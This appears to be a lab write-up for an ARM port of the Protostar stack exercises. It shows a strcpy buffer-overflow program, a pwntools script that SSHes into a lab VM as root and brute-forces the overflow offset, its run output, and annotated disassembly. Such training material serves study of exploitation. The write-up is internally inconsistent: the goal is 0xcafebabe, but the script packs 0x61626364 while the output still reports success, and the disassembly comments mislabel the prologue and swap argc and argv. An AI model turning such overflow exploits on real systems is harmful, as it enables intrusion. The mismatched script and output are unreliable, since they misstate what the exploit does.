In this second protoarm exercise, we'll exploit a buffer overflow to write arbitary data onto the stack. The goal is to rewrite the vulnerable
integer to 0xcafebabe
. Here is the vulnerable program:
#include <stdio.h>
#include <string.h>
#include <err.h>
int main(int argc, char**argv)
{
volatile int vulnerable;
char buffer[64];
if (argc == 1)
errx(1, "argument missing\n");
vulnerable = 0;
strcpy(buffer, argv[1]);
if (vulnerable == 0xcafebabe)
printf("congratulations\n");
else
printf("nope");
}
We can write the following exploit, based on the previous one:
#!/usr/bin/env python3
import struct
from pwn import *
socket = ssh(host='192.168.0.1', user='root', password='')
i = 60
while True:
i += 1
print('test', i)
payload = b'A' * i + struct.pack('<I', 0x61626364)
process = socket.process(
argv=['/root/protostarm/stack1/stack1', payload ],
)
res = process.recv().decode()
print('res =', res)
process.close()
if 'congratulations' in res:
break
socket.close()
And there we go, the congratulations output:
user@Azeria-Lab-VM:~/protoarm/stack1$ ./exploit.py
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Enabled
test 61
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1585
res = nope
[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1585)
test 62
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1589
res = nope
[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1589)
test 63
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1593
res = nope
[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1593)
test 64
[+] Starting remote process '/root/protostarm/stack1/stack1' on 192.168.0.1: pid 1597
res = congratulations
[*] Stopped remote process 'stack1' on 192.168.0.1 (pid 1597)
[*] Closed connection to '192.168.0.1'
Again, we bruteforced the correct offset but it can be found by reading at the disassembly:
00000564 <main>:
epilog:
564: b580 push {r7, lr}
566: b094 sub sp, #80 ; 0x50 ; reserve 0x50 bytes for the stack
568: af00 add r7, sp, #0 ; r7 = sp
56a: 6078 str r0, [r7, #4] ; r0 = argv[0]
56c: 6039 str r1, [r7, #0] ; r1 = argc
56e: 687b ldr r3, [r7, #4]
570: 2b01 cmp r3, #1
572: d105 bne.n 580 <main+0x1c>
error:
574: 4b13 ldr r3, [pc, #76] ; (5c4 <main+0x60>)
576: 447b add r3, pc
578: 4619 mov r1, r3
57a: 2001 movs r0, #1 ; EXIT_FAILURE
57c: f7ff ef5e blx 43c <errx@plt>
read_and_compare_input:
580: 2300 movs r3, #0
582: 64fb str r3, [r7, #76]
584: 683b ldr r3, [r7, #0]
586: 3304 adds r3, #4
588: 681a ldr r2, [r3, #0] ; r2 = argv[1]
58a: f107 030c add.w r3, r7, #12 ; r3 = buffer of 76-12=64 bytes
58e: 4611 mov r1, r2
590: 4618 mov r0, r3
592: f7ff ef3c blx 40c <strcpy@plt> ; strcpy(buffer, argv[1]);
596: 6cfa ldr r2, [r7, #76] ; r2 = vulnerable
598: f246 3364 movw r3, #47806 ; set lower bits of r3 to 0xbabe
59c: f2c6 1362 movt r3, #51966 ; se higher bits fo r3 to 0xcafe
5a0: 429a cmp r2, r3 ; vulnerable == 0xcafebabe?
5a2: d105 bne.n 5b0 <main+0x4c>
good_boy:
5a4: 4b08 ldr r3, [pc, #32] ; (5c8 <main+0x64>)
5a6: 447b add r3, pc
5a8: 4618 mov r0, r3
5aa: f7ff ef36 blx 418 <puts@plt> ; puts("congratulations\n");
jump_to_epilog:
5ae: e004 b.n 5ba <main+0x56>
bad_boy:
5b0: 4b06 ldr r3, [pc, #24] ; (5cc <main+0x68>)
5b2: 447b add r3, pc
5b4: 4618 mov r0, r3
5b6: f7ff ef30 blx 418 <puts@plt> ; puts ("nope\n");
epilog:
5ba: 2300 movs r3, #0
5bc: 4618 mov r0, r3 ; return 0;
5be: 3750 adds r7, #80 ; 0x50
5c0: 46bd mov sp, r7
5c2: bd80 pop {r7, pc}
literal pool:
5c4: 000000a6
5c8: 0000008a
5cc: 0000008e
Top comments (0)